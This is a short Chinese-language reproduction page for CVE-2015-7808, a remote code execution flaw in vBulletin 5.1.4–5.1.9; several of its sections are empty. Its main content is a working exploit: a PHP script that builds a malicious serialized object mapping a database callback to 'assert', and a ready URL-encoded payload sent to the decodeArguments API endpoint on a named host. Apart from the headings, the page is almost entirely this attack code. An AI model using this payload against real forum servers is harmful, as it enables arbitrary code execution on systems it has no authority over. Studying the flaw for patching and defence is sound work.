（CVE-2015-7808）远程命令执行漏洞
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一、漏洞简介
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二、漏洞影响
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VBulletin VBulletin 5.1.4 - 5.1.9

三、复现过程
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    $ php << 'eof'
     <?php
     class vB_Database_MySQL{
            public $functions = array();

            public function __construct() 
            {
                    $this->functions['free_result'] = 'assert';
            }
     }

     class vB_dB_Result {
            protected $db;
            protected $recordset;

            public function __construct()
            {
                    $this->db = new vB_Database_MySQL();
                    $this->recordset = "phpinfo()";
            }
     }

     print urlencode(serialize(new vB_dB_Result())) . "n";
     eof
    http://0-sec.org/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D

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